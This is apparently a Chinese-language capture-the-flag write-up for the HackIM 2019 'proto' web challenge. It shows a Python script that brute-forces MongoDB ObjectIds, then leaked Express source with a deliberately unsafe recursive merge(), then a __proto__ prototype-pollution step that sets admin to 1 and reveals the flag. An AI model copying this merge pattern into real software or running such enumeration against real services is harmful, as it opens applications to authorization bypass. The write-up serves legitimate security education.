访问提示:
hackim_2019_web_proto
访问/getPost后提示:
hackim_2019_web_proto
访问/getPOST?id=5c51b9c9144f813f31a4c0e2提示:
hackim_2019_web_proto
输入单引号有报错信息:
hackim_2019_web_proto
Hint有提示:
* mango can be eaten in 60 seconds
* Mongo Mongo Mongo !!! and this is not a sql Injection
所以这里注入没用。
因为这是Node.js的站,使用之前的办法引出报错信息:/getPost?id[]=1
hackim_2019_web_proto
提示了后端数据库使用了Mongodb,Mongodb中有一个叫做ObjectId的概念。
ObjectId是一个12字节的BSON数据类型,结构为:
- 前4个字节是自unix时代以来的秒数。
- 接下来的3个字节是机器标识符。
- 接下来的2个字节是进程ID。
- 最后3个字节是计数器值。随机值。
而给我们的id正好是12字节的。根据第一个提示时间差小于60s来尝试爆破:
import requests
url = 'http://localhost:4545/getPOST?id=%s144f813f31%s'
time = 0x5c51b9c9
counter = 0xa4c0e2
for i in range(100):
counter = hex(counter - 1)[2:]
for i in range(1000000):
time = hex(time - 1)[2:]
nurl = url % (time, counter)
res = requests.get(nurl)
if 'Not found' not in res.text:
print(res.text, nurl)
time = int(time, 16)
counter = int(counter, 16)
break
time = int(time, 16)
在id=5c51b911144f813f31a4c0df得到关键信息:
hackim_2019_web_proto
访问/4f34685f64ec9b82ea014bda3274b0df/得到源码:
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a,b){
for (var attr in b){
if(isObject(a[attr]) && isObject(b[attr])){
merge(a[attr],b[attr]);
}
else{
a[attr] = b[attr];
}
}
return a
}
function clone(a){
return merge({},a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')))
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if(copybody.name){
res.cookie('name', copybody.name).json({"done":"cookie set"});
}
else{
res.json({"error":"cookie not set"})
}
});
app.get('/getFlag', (req, res) => {
var аdmin=JSON.parse(JSON.stringify(req.cookies))
if(admin.аdmin==1){
res.send("hackim19{}");
}
else{
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
要满足admin.аdmin等于1。因为__proto__是一个Object,会递归进入merge(),由于__proto__有一对key-value,所以会判断__proto__["admin"]是否是Object,不是就进入else,对原型__proto__["admin"]赋值为1,这就完成了原型链污染的操作。
最后访问/getFlag就能拿到flag:
hackim19{Prototype_for_the_win}
function merge(a,b){
for (var attr in b){
if(isObject(a[attr]) && isObject(b[attr])){
merge(a[attr],b[attr]);
}
else{
a[attr] = b[attr];
}
}
return a
}
|